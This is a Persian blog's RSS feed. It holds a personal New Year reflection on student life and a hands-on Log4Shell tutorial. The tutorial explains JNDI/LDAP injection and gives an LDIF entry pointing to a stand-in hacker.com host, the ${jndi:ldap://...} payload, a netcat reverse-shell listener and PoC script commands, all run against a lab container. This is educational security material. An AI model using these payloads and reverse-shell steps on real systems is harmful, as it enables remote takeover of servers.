<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های اشکان محمدی</title>
        <link>https://virgool.io/feed/@mohammadiashkan1384</link>
        <description>یه برنامه نویس ساده که از تجربیات و آموخته هاش می نویسه</description>
        <language>fa</language>
        <pubDate>2026-06-16 21:42:58</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/141520/avatar/Xyh3uE.png?height=120&amp;width=120</url>
            <title>اشکان محمدی</title>
            <link>https://virgool.io/@mohammadiashkan1384</link>
        </image>

                    <item>
                <title>ناگفته ها دارد دلم، بشنو یکی چند</title>
                <link>https://virgool.io/@mohammadiashkan1384/%D9%86%D8%A7%DA%AF%D9%81%D8%AA%D9%87-%D9%87%D8%A7-%D8%AF%D8%A7%D8%B1%D8%AF-%D8%AF%D9%84%D9%85-%D8%A8%D8%B4%D9%86%D9%88-%DB%8C%DA%A9%DB%8C-%DA%86%D9%86%D8%AF-mkyd1sz8s92y</link>
                <description>هم اکنون: وضعیت اتاق ذهن منبالاخره نوروز هم فرارسید و بهانه ای شد برای نوشتن یه پست جدید. کلید پست‌بانک داییمو ازش گرفتمو الان هم به بهانه تحقیق درسی دارم با اینترنت وای فای پست‌بانک براتون این پست رو می نویسم. راستش رو هم بخواهید برای پرسیدن یه چند تا سوال درسی از chat gpt اومدم اینجا ولی دیدم از یه طرف تعطیلات عیده و از یه طرف ماه رمضون، منم که حال درس ندارم فعلا. پس چه بهتر که تا در پناه سایهء تعطیلاتیم، خلاصه ای از سالی که گذشت به یادگار بنویسم چون بعدا که سرم شلوغ بشه دیگه زیاد وقت نمی کنم.ولی الحق که اینجا فضای خوب و دنجی داره، غیر از صدای ماشین های مزاحمی که هر از گاهی از جاده اصلی روستا رد میشن دیگه اینجا هیچ سر و صدایی نیست. البته هوای مرند این چندوقت خیلی سرد شده و به عنوان کسی که از یه شهر نسبتا گرمی مثل تهران اومده اینور، هنوز چندان به آب و هوای این منطقه عادت ندارم. بخاری پست‌بانک رو هم که جمع کردن و همین الان نوک انگشتام داره یخ میزنه ولی خُب پوئن مثبتش اینه که دیگه خواب‌آلودگی سراغت نمياد.از مزایای ماه رمضون اینه که دیگه کسی از صبح تا افطار کاریت نداره که کجایی و چیکار می کنی و چرا برای ناهار نمیای و ... موقع ظهر هم که اکثر روستا خوابن و مجبور نیستی حین رد شدن از یه کوچه به یه کوچه دیگه با هزار نفر سلام علیک کنی (که خیلی هاشون رو هم نمیشناسی چون فامیل دورن). در کل این آرامش نسبی رو دوست دارم. شاید علتش این باشه که آدم جمع گریزی هستم. این هم از اون صفت هاییه که آرزو می کنم ای کاش نداشتم.البته اینم بگم که از اون دست آدما نیستم که با هیچ کس ارتباطی نداشته باشم اما صحبت کردن تو یه جمع ده دوازده نفری برام خیلی سخته. بیشتر مکالمات یک به یک یا نهایتا جمع های 3 نفره رو ترجیح میدم. مشکل دیگه ای هم که دارم اینه که علایقم با آدمای دور و برم متفاوته. مثلا فامیلامون که دور هم جمع میشن معمولا بحث محافلشون از فوتبال و قیمت دلار و سیاست و ... است. منم که نه فوتبال نگاه می کنم نه از بازار های مالی سر در میارم (البته به نظرم اونا هم چیزی بارشون نیست ولی خوب). در باب سیاست هم چون به این نتیجه رسیده ام که نهایتا هیج نتیجه ای جز تفرقه و دلخوری نداره، خودم شمشیر غلاف کرده ام. بیشتر دوست دارم راجع به ریاضیات، برنامه نویسی، و هوش مصنوعی و ... صحبت کنم ولی خوب آدمی که پایه باشه خیلی کم گیر میاد.تو خاندان ما، علی الخصوص فامیل های مادری کسی اعتقادی به درس و دانشگاه نداره. معیار زورِ بازوئه. مثلا من حتی اگه بیام حدس گلدباخ رو که یه مسئله حل نشده در نظریه اعداد هست (با قدمتی نزدیک به 300 سال) اثبات کنم هیچ کس به یه ورشم نیست ولی اگه بتونم دیوار های یه خونه 100 متری رو یه روزه گچ کاری کنم همه قربون صدقه ام هم میرن و ایولا و ماشاالله از دهنشون نمی افته.مدام هم به من تیکه میندازن که برای چی دنبال درس و دانشگاهی، عاقبتت اینه که نهایتا میری تو اسنپ کار می کنی. یا میگن فلانی رو نمی بینی لیسانسه ولی الان داره پیش مش غلام چشم‌دکمه ای تو مکانیکی شاگردی می کنه؟شاید هم دارن راست میگن، اللهُ اعلم. بعضی چیزا رو فقط گذر زمان مشخص می کنه؛ مثل رشتهء دانشگاهی ما. دوران کنکور دلمون خوش بود به رشته های مهندسی ولی خوب وقتی نتایج و رتبه ها اومد دستگیرم شد که «در کوی نیک‌نامان، ما را گذر ندادند». رشته قبولیم اولویت بیست و یکمم تو دفترچه انتخاب رشته سراسری بود، «آمار». این رشته رو که اصلا نمی دونستم چی هست، به پیشنهاد مشاور تحصیلی مدرسه مون زده بودم ته دفترچم. از قضای روزگار هم همین دراومد...منم که دیگه حال پشت کنکور موندن و دنگ و فنگ های امتحان نهایی و ... رو نداشتم سرنوشتم رو قبول کردم و به امید اینکه شاید بعدا بشه یه جوری تغییر رشته داد یا ... رفتم ثبت‌نام کردم. البته حالا که اطلاعاتم از این رشته بیشتر شده، به این نتیجه رسیده ام که ارزش خوندن رو داره پس تغییر رشته هم کنسله. فعلا به خواست روزگار میریم جلو  ببینیم «که داستان فردا چه آرد به پیش»روز های اول ورود به محیط دانشگاه برای من مثل بیرون اومدن از سونای بخار و شیرجه تو استخر آب یخ بود.نه می دونستم کلاس هام کجان، نه استاد هامو میشناختم و نه هم کلاسی هامو. بقیه رو میدیدم که با تسلط هر چه تمام راهشون رو از بین کریدور ها و راه پله ها پیدا می کنن و میرن پی کارشون ولی من قدم به قدم از هرکی که جلوم سبز میشد سوال می پرسیدم.بالاخره دست و پا شکسته، اولین کلاس اون روزم «ریاضی عمومی 1» رو پیدا کردم و با تاخیر نیم ساعته سر کلاس حاضر شدم. بحث اون روز در مورد تعریف اپسیلون-دلتایی حد بود و منم چون از ابتدا سر کلاس نبودم هیچی نفهمیدم.راجع به غذای سلف هم که باید بگم اوایل فکر می کردم قیمتایی که تو سایت دانشگاه زده به تومنه، سر همین دو هفته اول دانشگاه تقریبا بدون غذا سپری شد :/ از خونه میاوردم...خلاصه؛ کم کم به مرور زمان به فضای دانشگاه عادت کردم و با بخش های مختلف و روال کار هاش آشنا شدم. هم کلاسی هامو هم کم کم شناختم و چند نفری هم با هم رفیق شدیم. میشه گفت حالا شرایط کمی پایدار و آروم شده. ولی هنوز هم یه مشکل بزرگ دارم.بچه های رشته آمار تقریبا از لحاظ طرز تفکر و اعتقادات همگن هستن ولی من یکی از همون اول باهاشون متفاوت بوده ام. همین باعث می شد با یکسری عرف هایی که تو دانشگاه رایجه (که خودتونم خبر دارید) سازگار نباشم. سعی می کردم چراغ خاموش بیام و برم و اعتقاداتم رو برای خودم نگه دارم چون حقیقتش حوصله و کشش بحث در این مورد رو ندارم ولی خوب گاها تو موقعیت هایی قرار می گرفتم که رفتارم باعث میشد دستم رو بشه و بعضی وقت ها هم منجر به سوء تفاهم می شد.البته حالا که یه ترم گذشته، بقیه یه چیزایی از اخلاق من دست‌گیرشون شده اما هنوزم دلم نمیخواد صریحا راجع به این مسائل صحبت کنم. کلا از نظر من تو محیط دانشگاه به عنوان بچه مذهبی و ... شناخته نشی بهتره چون از لحظه ای که این القاب بهت نسبت داده بشن باید شروع کنی به ظاهرسازی و ریا.نمی دونم تا کی میتونم به این مخفی‌کاری ادامه بدم. راستش خودمم زیاد حس خوبی ندارم. یه جورایی انگار دارم مسیری رو میرم که تهش بن‌بسته. شاید هم دارم زیادی سخت میگیرم‌. شاید واکنش بقیه اونقدر ها هم بد نباشه ولی خوب وقتی در اقلیت محض هستی باید احتیاط کنی.بگذریم، بازم خدا رو شکر با یکی دو نفر مچ هستیم وگرنه دغ می کردم. البته اینم بگم که به خاطر همین مخفی‌کاری هام بعضی از دوستام معتقدن که من در ارتباط با بقیه سیاست به خرج میدم. راجع به خودم دروغ نمیگم ولی کل واقعیت رو هم نمیگم. درواقع همیشه سعی میکنم روی نقاط مشترک تمرکز کنم که بحث اصلا سمت موارد اختلاف نره اگر هم رفت، حتی الامکان کوتاه میام تا بحث کش نیاد. آدمی هم نیستم که از کسی کینه به دل بگیرم. معتقدم که بعضی وقتا فقط باید گذشت و فراموش کرداگه بشه اسم اینو سیاست گذاشت، تا الان که سیاست کارآمدی بوده. مثلا تو دوران دبیرستان بدون این که مشکلی پیش بیاد، با همین روش با آدم هایی از تفکر های مختلف در ارتباط بوده ام. با اینکه ممکنه این حرفم به عنوان توجیهی برای دو رو بودنم به نظر برسه ولی به نظرم در ارتباط با بقیه پل های پشت سرت رو خراب نکنی بهتره چون ممکنه یه روز کارت پیش اونا گیر کنه اون وقت همین ارتباطات به کارت میاد.یه چیز دیگه ای که این روزا خیلی ذهنم رو مشغول خودش کرده اینه که بتونم تو دوران دانشجویی کار هم بکنم و تا یه حدی دستم تو جیب خودم باشه. تا اینجای کار که درس های دانشگاه زیاد بهم اجازه نداده حرکت خاصی بزنم. فقط هر از گاهی پروژه های خرد و کوچیک با پایتون انجام میدم که باهاش پول خرید کتابای دانشگاه در میاد. ولی امسال واقعا باید جدی تر کار رو دنبال کنم.و اینکه نهایتا یکی از اهدافم برای امسال، ورزش منظمه. قبل عید با دو روز در هفته شروع کردم یکم بدنم عادت کنه. ایشالا بعد تعطیلات عید بریم برای سه روز در هفته.با اینکه دلم خیلی می خواد بتونم بیام اینجا و بنویسم ولی نمی تونم قول بدم. واقعیتش اینه که الان که این پست رو منتشر کنم معلوم نیست پست بعدیم رو کی بنویسم.البته که فکر کنم بیشتر از همه خودم پست های خودمو می خونم. مخصوصا پست های قدیمی ام رو. این که هر از گاهی پست های چند سال پیشت رو دوباره بخونی حس ورق زدن آلبوم های عکس قدیمی رو میده.پست های پارسالجزئیات فنی و شیوه هک کردن سایت با آسیب پذیری Log4Shellپروژهء دو ساله ام، Questify رو تموم کردم + Github Repo + Demoاین پستم بر خلاف پست های دیگه ام زیاد منسجم نبود و معذرت می خوام اگه یکم بیش از حد پراکنده نوشتم.سال نو رو هم تبریک می گم و امیدوارم نوک مداد همتتون رو حسابی تیز کرده باشید تا طرح اهدافتون رو تو فصل جدید دفتر زندگی تون نقاشی کنید. ♡</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Wed, 26 Mar 2025 13:25:33 +0330</pubDate>
            </item>
                    <item>
                <title>جزئیات فنی و شیوه هک کردن سایت با آسیب پذیری Log4Shell</title>
                <link>https://virgool.io/@mohammadiashkan1384/log4shell-technical-details-and-hands-on-exploitation-tutorial-firpq3vggkcy</link>
                <description>سال 2021 موقعی که داشتم مثل همیشه کانتینر های docker ام رو روی سیستم اجرا می کردم، با یه پیام اخطار مواجه شدم که راجع به یه حمله سایبری جدید به نام log4shell هشدار میداد و میگفت باید در اسرع وقت container هامو آپدیت کنم.تا حالا همچین چیزی ندیده بودم، سریع کروم رو باز کردم و اسمش رو جست و جو کردم. با دیدن جنب و جوش تولید کنندگان محتوا در فضای مجازی برای سبقت گرفتن از هم دیگه در اطلاع رسانی جزئیات این حمله سایبری حدس میزدم که «نه؛ انگار شوخی شوخی داره جدی میشه»وقتی فهمیدم توی سایت CVE از لحاظ شدت وخامت نمره 10 از 10 گرفته، دیگه مطمئن شدم که ابعاد قضیه خیلی بزرگ تر از چیزی بوده که فکر می کردم. شرکت های بزرگ IT، نرم افزار های معروف و حتی برخی نهاد های دولتی تحت تاثیر موج این حمله سایبری قرار گرفته بودن.چند تا مقاله در رابطه با جزئیات و شیوه انجام این حمله سایبری خوندم تا یه دید کلی نسبت به این موضوع پیدا کنم و وقتی فهمیدم مشکل از کجا بوده کلا دچار شوک شدم که اصلا چطور چنین چیزی ممکنه! آخه قضیه اونقدر ساده بود که باورم نمیشد کسی این همه سال متوجه چنین آسیب پذیری نشده باشه.اون زمان به همون درک سطحیم از موضوع اکتفا کردم ولی این چند وقت بدجور به سرم زده بود که بیشتر راجع بهش تحقیق کنم. نه تنها تحقیق، بلکه حتی یه بار خودم به صورت تمرینی انجامش بدم (به یاد اون روزا که دلم می خواست هکر بشم... 😅)قبل از هر چیز باید بگم که اگر می خواهید درکتون از قضیه بالا بره، خودتونم باید پله به پله همراهی کنید که برای این کار باید شرایط زیر رو داشته باشید:یه کامپیوتر دم دست با اتصال اینترنتیه اکانت githubتقریبا یه ساعت وقت اضافهاگر ندارید، بهتره پست رو save کنید و بعدا بخونیدش، البته اینها همه پیشنهاد بود، دیگه خود دانید!...خوب دیگه بریم سراغ اصل مطلب: برنامه نویس های جاوا کار، کلا skip کنید برید بخش آخر که حوصله تون از این مقدمه چینی ها سر نره.معرفی Naming Serviceسرویس هایی هستند که اطلاعات رو با یه اسمی ذخیره می کنن و شما بعدا می تونید با اون اسم اختصاص داده شده یه lookup انجام بدید و اطلاعات رو دریافت کنیدمثلا DNS خودش یه naming service هست:معرفی Directory Serviceهمون naming service هست با این تفاوت که به شما اجازه ذخیره attribute هایی بر روی object های ذخیره شده میده که بعدا می تونید از اونها برای سرچ هم استفاده کنید:توجه کنید که یک attribute می تونه چند مقدار مختلف داشته باشه مثلا اگر داریم اطلاعات یه فردی رو وارد می کنیم که دو تا شماره همراه داره، می تونیم روی object مربوطه، دو تا attribute به نام phone_number تعریف کنیم.میشه گفت ldap یکی از پروتوکل هایی هست که چنین سرویسی رو ارائه میده.معرفی JNDI و ارتباطش با LDAPدر زبان برنامه نویسی جاوا، از jndi (java naming and directory interface) برای اتصال به naming service ها استفاده می شه. jndi یک واسطه برنامه نویسی جامع هست که از طریق SPI ها (Service Provider Interface) می تونه به ما امکان تعامل با naming service های متعدد رو بده.این معماری باعث میشه که در آینده امکان افزودن SPI برای پروتوکل ها و سرویس های جدید وجود داشته باشه.ساختار عملیاتدر این بخش می خوام تمام مراحل رو به دقت و به صورت تئوری توضیح بدم که بعد بریم سراغ پیاده سازی.سوء استفاده از مکانیزم lookup در کتابخانه log4jهر اپلیکیشنی برای ذخیره و ضبط اتفاقاتی که حین اجرا می افته (که بهش به اصطلاح میگن logging) یه روشی داره. اکثر اپلیکیشن های جاوا از کتابخانه آماده، باسابقه و قدیمی log4j که توسط بنیاد Apache ارائه و مدام آپدیت میشه و بیشتر از دو دهه از انتشارش میگذره استفاده می کنن.این کتابخانه امکانات خیلی زیادی ارائه میده که یکی از اونها قابلیت lookup هست. مثلا می تونید با این قابلیت، ورژن جاوایی که اپلیکیشن داره باهاش اجرا میشه رو در فایل های لاگتون ثبت کنید (تقریبا یه چیزی تو این مایه ها):logger.error(&amp;quotAn error happend, ${java:version}&amp;quot);و وقتی اروری رخ بده، log4j اینو پردازش میکنه و به جای عبارت ${java:version} عدد ورژن جاوا رو جاگذاری می کنه. البته فقط این نیست، یه لیست طویلی از همین lookup ها وجود داره که می تونید خودتون توی لینک زیر ببینید: https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup حالا فرض کنید سناریویی داریم که کاربر میاد لاگین کنه، رمز عبور یا نام کاربری اشتباه وارد می کنه و ما می خواهیم این رو توی فایل های لاگمون ثبت کنیم. حالا فرض کنید ما username ای که کاربر وارد کرده رو به این شکل داخل لاگ اضافه کنیم:String username = ...;  // magic, never mind (-;
logger.log(&amp;quotLogin attempt failed, username = &amp;quot + username)ظاهرا همه چیز عالیه نه؟ حالا فرض کنید کاربر عبارت ${java:version} رو به جای نام کاربریش بزنه اون وقت چیزی که قراره لاگ کنید میشه این:Login attempt failed, username = ${java:version}و همون طور که گفتم log4j این رو پردازش می کنه و تبدیلش میکنه به ورژن جاوا. یعنی ما با این مکانیزم می تونیم از تمام lookup های log4j هر طور دلمون خواست استفاده کنیم. خیلی خوب، حالا اگه به اون لیستی که بالا لینکشو گذاشتم مراجعه کنید میبینید یه چیزی داریم به نام jndi lookup و همون طور که گفتم jndi می تونه با سرور های ldap ارتباط برقرار کنه و از اونها اطلاعات رو بگیره و توی جاوا لود کنه.حالا این چه نفعی برای ما داره؟ می تونیم با این lookup کاری کنیم که سرور قربانی به سرور ldap ما وصل بشه و کد های مخربی که ما نوشتیم رو اجرا کنه.یه همچین lookup ای رو باید اینجوری بنویسید:${jndi:ldap://domain.com:port/object}در اینجا:ـ ldap که پروتوکلهـ domain.com هم که آدرس دامنه است (که اصلا به جاش می تونیم آدرس ip سرور ldap رو بذاریم)ـ port هم که توضیح نمیخواداون object تهش هم مهم نیست، در واقع اسم entry هست که می خواهیم اطلاعاتش رو از سرور ldap بگیریم ولی سروری که ما می سازیم اصلا به این اهمیت نمیده، به ازای هر درخواستی، همیشه اطلاعات کد های مخرب ما رو به سرور قربانی ارسال می کنهنکته: این lookup ها رو در هر گونه ورودی که امکان لاگ شدن داره می تونه قرار بگیره. یعنی فکرتون رو به username و ... محدود نکنید. بعضی header های http هم لاگ میشن مثل user agent، که می تونید توشون از همین lookup ها تزریق کنید.مهندسی محتویات پاسخ سرور ldapتوی قسمت قبل گفتیم چطور می تونیم کاری کنیم که قربانی با سرور ldap ما ارتباط بگیره. اما حالا که ارتباط گرفت، ما چه چیزی دقیقا باید به قربانی ارسال کنیم که باعث بشه کد های مخرب ما رو لود کنه؟سرور های ldap، یه فرمت مشخصی برای ارسال و دریافت اطلاعات دارن که بهش میگن: ldif (LDAP Data Interchange Format)ما باید یه entry با فرمت ldif به این شکل در جواب سرور قربانی ارسال کنیم:dn: o=MyExploit, dc=example, dc=com
objectClass: javaNamingReference
javaClassName: MyExploitClass
javaFactory: http://hacker.com/MyExploitClassراجع به خط اول باید بگم که چیز مهمی نیست، مکانیزمی هست که سرور های ldap برای پیدا کردن entry هاشون استفاده می کنن (یعنی این entry که اسمشم MyExploit هست توی کانتکست com و در زیرکانتکست example قرار داره)برای مثال از اینکه context چیه این تصویر رو ببینید خودتون متوجه میشید:بقیه قسمت ها هم attribute های این entry هستند که باید راجع بهشون بحث کنیم:ـ objectClass: javaNamingReference = این خط خیلی خیلی مهمه. جاوا وقتی این رو دریافت می کنه، از طریق این attribute متوجه میشه که attribute های این entry مال کلاس javax.naming.Reference هستند. یعنی باید از اطلاعات توش برای سر هم کردن یه Reference استفاده کنه.یه Reference در جاوا، خود داده های serialize شدهء کلاس رو نداره اما اطلاعاتی داره که نشون میده اون کلاس رو باید چطوری ایجادش کرد (مثل آدرس محل کد های کلاس factory ـِ سازندهء اون کلاس و اسم اون کلاس و ...)بهتون پیشنهاد می کنم حتماِ حتما همین الان یه نگاه به این لینک بندازید و تمام method ها و property هاشو ببینید که ابهاماتتون برطرف بشه: https://docs.oracle.com/javase/7/docs/api/javax/naming/Reference.html بعد از سر هم کردن Reference، جاوا از یک کلاسِ factory استفاده میکنه تا کلاس گفته شده در Reference رو بسازه. factory یه کلاس هست که تخصصش ایجاد یه کلاس دیگه است (میدونم یکم پیچیده شد 🤣: کلاسی که می خواد ایجاد بشه شاید یه سری پارامتر و کانفیگ داشته باشه که جاوا ازش بی خبره پس یه کلاس دیگه به عنوان factory نیازه که بدونه چطوری این پارامتر ها رو هنگام instantiation تنظیم کنه)ـ javaClassName: MyExploit = اصلا چیز مهمی نیست، صرفا اسم اون کلاسی هست که factory قراره اون رو بسازه. ضمنا جاوا بهش هیچ اهمیتی نمیده. فقط کلاس factory ممکنه بخواد ازش استفاده کنه که بفهمه ازش انتظار دارن چه چیزی دقیقا تولید کنه و تحویل بده.ـ javaFactory: http://hacker.com/MyExploitClass = کلید اصلی حمله ما همینه. در حالت عادی، این باید مقدارش اسم یه کلاس جاوا یا لینک به یک فایل class. جاوا باشه که قراره کلاس نام برده شده در javaClassName رو ایجاد کنه. این کلاس باید اینترفیسِ javax.naming.spi.ObjectFactory رو پیاده سازی کنه که متدی به نام getObjectInstance داره. این کلاس باید از طریق این متد یه instance از اون کلاس نام برده شده در javaClassName تحویل بده (البته این قراردادی هست و همون طور که گفتم javaClassName اهمیتی نداره و در واقعیت این factory می تونه هرچی دلش خواست تحویل بده)در دسترس قرار دادن bytecode کلاس مخرب از طریق سرور httpباید یه سرور http هم راه بندازیم که سرور قربانی بتونه از طریق آدرسی که توی attribute ـِ javaFactory قرار دادیم کد های مخرب ما رو دانلود کنه. این قسمتش نکته خاصی نداره فقط اینکه وقتی شما چنین چیزی بهش میدید: http://hacker.com/MyExploitClassدرخواست http برای همچین فایلی میاد:http://hacker.com/MyExploitClass.classبه اون پسوند class آخرش دقت کنید که فرمت کلاس های کامپایل شدهء جاواست.در این پست برنامه مون اینه که این کد بتونه با اتصال به netcat به ما دسترسی shell بده.استفاده از netcat برای reverse shellقراره یه listerner ـِ netcat راه بندازیم و منتظر بمونیم تا قربانی کد های مخرب ما رو اجرا کنه و اون وقت یه اتصال از طرف قربانی روی netcat دریافت کنیم.خوب دیگه تئوری تموم شد، بریم عملا انجامش بدیمپیاده سازی عملی سناریوچون خیلی حال و حوصله و البته وقت نداشتم، چند تا سرچ گوگل زدم و یه repository پیدا کردم که شامل یه POC برای این آسیب پذیری بود. (Proof of Concept = کدی هست که نشون میده فلان آسیب پذیری امنیتی از نظر عملی هم قابلیت پیاده سازی و پتانسیل تخریب داره)  https://github.com/kozmer/log4j-shell-poc ایجاد یک CodeSpace در githubبرای اینکه سیستم خودتون رو شلوغ نکنید و دردسر نصب ابزار ها رو نکشید، می تونید از codespace های گیتهاب استفاده کنید. اول وارد اکانت github تون بشید و یه codespace برا خودتون ایجاد کنید:بعدش باید با یه همچین صحنه ای مواجه بشید:راه اندازی اپلیکیشن آسیب پذیراین repository دارای dockerfile هست که باهاش می تونید یه image از اپلیکیشن تون بسازید:docker build -t log4j-shell-poc .بعد از اتمام، در یک کانتینرِ داکر image رو اجرا کنید:docker run --network host log4j-shell-pocاون قسمت network host-- باعث میشه که شبکه داخل کانتیر با شبکه هاست (که همون سیستم لینوکسی هست که گیتهاب در اختیارتون گذاشته) یکی بشه. یعنی مثلا اگه یه اپلیکیشنی روی فلان پورت کانتینر اجرا بشه، نیازی به port mapping ندارید، چون اون پورت مستقیما روی ip هاست قابل دسترسی خواهد بود.اجرا کردن این دستور، یه وب اپلیکیشن جاوا رو روی پورت 8080 اجرا می کنه. توی تبِ ports، شماره این پورت رو اضافه و public اش کنید:نتایج پس از اجرای اپلیکیشن جاواافزودن پورتپابلیک کردن پورتحالا با نگهداشتن کلید ctrl، روی اون لینک آبی رنگ زیر ستون Forwarded Address کلیک کنید تا وارد فرم لاگین اپلیکیشن بشید:صفحه لاگین خوشگل و زیباتوضیح: این اپلیکیشن فقط یه فرم لاگین داره، اگه username و password رو درست وارد کنید وارد کنید بهتون خوش آمد میگه و در غیر این صورت username اشتباهی که وارد کردید رو با log4j لاگ می کنه:کد هاشو آوردم که دقیق بگیرید چی میگم.راه اندازی netcatبرای اینکه بتونیم از قربانی اتصال دریافت کنیم، باید یه listener ـِ netcat راه بندازیم. ما این کار رو روی پورت 9001 انجام خواهیم داد. اول یه terminal دیگه باز کنید:حالا باید netcat رو نصب کنید:sudo apt update
sudo apt install netcat و بعد این دستور رو بزنید تا netcat اجرا بشه:nc -lvnp 9001حالا اگه قربانی به ip ما و پورت 9001 متصل بشه، می تونیم با netcat براش دستورات رو بفرستیم.راه اندازی سرور ldap و آماده سازی exploitاین بنده خدایی که کد های این repository رو نوشته، یه فایلی آماده کرده به نام poc.py که یه اسکریپت پایتونه. این اسکریپت آدرس ip و port مربوط به netcat رو میگیره و کار های زیر رو انجام میده:1. یه اکسپلویتِ جاوا براش می نویسه و اون رو کامپایل می کنه. البته توجه کنید که باید کد ها رو با jdk ورژن 20_1.8.0 کامپایل کنید.همون طور که می بینید یه کلاس جاوا هست که متغیر userip و lport توش جاگذاری میشن. userip همون ip سروری هست که netcat روش اجرا شده و lport هم همون listening port هست که netcat روی اون پورت منتظر دریافت اتصاله.نکته: همون طور که میبینید، در ادامه قراره این کلاس به یک فایل نوشته بشه و بعد کامپایل بشه. اسکریپت فرض کرده که کامپایلر جاوا در فولدری به نام jdk1.8.0_20 در کنار فایل script قرار داره. در ادامه قراره این jdk رو دانلود کنیم و دقیقا همون جایی که اسکریپت میخواد با همون اسم قرارش بدیم.این کلاس جاوا، کاری که انجام میده اینه که یه اتصال روی پورت گفته شده باز می کنه و فایل bin/sh رو توی یک پروسه باز می کنه. این برنامه اجازه اجرای دستورات سیستمی لینوکس رو میده. حالا ورودی پروسه رو به خروجی socket وصل میکنه و خروجی پروسه رو به ورودی socket. این طوری می تونیم یه ارتباط پینگ پنگی با سرور قربانی داشته باشیم و هم دستور رو اجرا کنیم و هم نتیجه دستور برامون ارسال بشه.2. یه سرور ldap با استفاده از marshalsec راه میندازهدر واقع marshalsec یه پروژه تحقیقاتیه که انواع exploit های ممکن برای jndi injection رو داره. یکی از اون exploit ها LDAPRefServer هست. که در جواب ریکوئست های ldap این طور جواب میده (سورس کدشو از گیتهاب آوردم):تیکه مهمش اینه همون طور که می بینید، همون attribute هایی که قبلا بهتون توضیح دادم رو داره تنظیم می کنه.اگر توجه کنید اسکریپت poc.py ما داره یه پارامتر دیگه به اسم url هم به LDAPReferenceServer میده که این شکلیه:url = &amp;quothttp://{}:{}/#Exploit&amp;quot.format(userip, lport)اول از همه userip که همون آدرس سرورِ هکر هست (همونی که اتفاقا netcat هم داره روش اجرا میشه) ولی lport دیگه port مربوط به netcat نیست. فقط شباهت اسمیه. یکم برسی کنید میبینید lport در واقع آدرس یه پورت دیگه است که باید به اسکریپت بدید تا یه سرور http با پایتون روش راه بندازه:میبینید که در واقع یه پارامتر دیگه ای به نام webport داره به تابع ldap_server داده میشه که همون webport به HTTPServer ـِ پایتون برای اجرای سرور http داده شده.ولی حالا توی این خط:url = &amp;quothttp://{}:{}/#Exploit&amp;quot.format(userip, lport)ماجرای اون Exploit# آخرش چیه؟ چیز خاصی نیست. فرمتی هست که LDAPReferenceServer استفاده می کنه برای جدا کردن اسم فایل کلاس جاوا از بقیه آدرس:$ java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer &lt;codebase&gt;#&lt;class&gt; [&lt;port&gt;]می تونید جزئیاتش رو اینجا ببینیدنکته: میبینید که آخرش یه پارامتر اختیاری port هم داریم، اگه وجود نداشته باشه پیشفرضش 1389 هست. یعنی سرور ldap خودش روی پورت 1389 داره اجرا میشه.حالا که کامل فهمیدید جریان از چه قراره، بیاید اول کار های jdk رو انجام بدیم:با دستور اول فایل tar اش رو دانلود می کنیمبا دستور دوم آرشیو استخراج میشهتوجه کنید چون ورژن فایل با ورژن در نظر گرفته شده توی script یه تفاوت کوچولویی داره با دستور سوم اسم فولدر استخراج شده رو عوض می کنیم تا با اسم داخل اسکریپت poc.py بخونه$ wget https://javadl.oracle.com/webapps/download/GetFile/1.8.0_321-b07/df5ad55fdd604472a86a45a217032c7d/linux-i586/jdk-8u321-linux-x64.tar.gz
$ tar -xf jdk-8u321-linux-x64.tar.gz
$ mv jdk1.8.0_321 jdk1.8.0_20و حالا آماده ایم برای اجرای کد اسکریپتpython3 poc.py --userip localhost --webport 8000 --lport 9001با اینکه تمام پارامتر ها رو قبلا توضیح دادم، یه بار دیگه اینجا به صورت جامع خدمتتون عرض می کنم:ـ userip: همون آدرس سرورِ هکر هست که قربانی باید بهش وصل بشهـ webport: پورتی هست که قراره سرور http پایتون روش اجرا بشهـ lport: پورتی هست که netcat داره روش اجرا میشه.در نهایت، سرور ldap پارامتری برای تنظیم پورت نداره و از همون پورت پیشفرض 1389 استفاده میکنه.فقط لیست پورت هاتون رو چک کنید که این شکلی باشه:حالا دیگه همه چیز آماده است. اون عبارتی که توی یک عکس بالاتر قرمزش کردم رو کپی کنید:${jndi:ldap://localhost:1389/a}بعد وارد همون فرم لاگین بشید و واردش کنید. بعد هم ورود رو بزنید:می بینید که انگار اپلیکیشن هنگ کرده و جلو تر نمیره. این یعنی exploit ما درست عمل کرده و الان netcat باید از قربانی یه اتصال دریافت کرده باشه. برای تست دستور ls رو وارد می کنیم:همون طور که می بینید، فایل های داخل سرور قربانی رو به ما نشون میده و ما از اینجا به بعد کنترل سرور قربانی رو در اختیار داریم.آسیب پذیری های مرتبطبعد از کشف این آسیب پذیری، با سماجت هکر ها و تیم های امنیتی دو تا CVE دیگه هم که مربوط به log4shell میشن هم پیدا و منتشر شد که می تونید توی لینک های زیر راجع بهشون بخونید:CVE-2021-45046CVE-2021-45105اقدامات امنیتی برای رفع این آسیب پذیریکتابخانه log4j الان به صورت پیشفرض jndi lookup رو غیر فعال کرده و شنیده ام که مکانیزمی پیاده سازی شده که اجازه لود کردن کلاس ها از سرور هایی که در white list ـِ اپلیکیشن قرار ندارن جلوگیری می کنه.به برنامه نویس ها هم توصیه شده که patch های مربوط به log4j رو حتما نصب کنن و نرم افزار هاشون رو آپدیت نگه دارن. البته الان که دیگه همه ازش خبر دارن، تقریبا همه این آسیب پذیری رو برطرف کرده اند.خوب به انتهای پست مون رسیدیم، امیدوارم که براتون مفید بوده باشه و به درکتون اضافه کرده باشه. اگه از این پست خوشتون اومد لطفا با دوستان، آشنا ها و همکاراتون هم که فکر می کنید به هک و امنیت علاقه دارن به اشتراک بگذارید.به پست های دیگه منم سری بزنید 😁😁 - خیلی ممنون از زمانی که گذاشتید، تا پست بعدی در پناه خدا</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Tue, 10 Sep 2024 22:03:58 +0330</pubDate>
            </item>
                    <item>
                <title>پروژهء دو ساله ام، Questify رو تموم کردم + Github Repo + Demo</title>
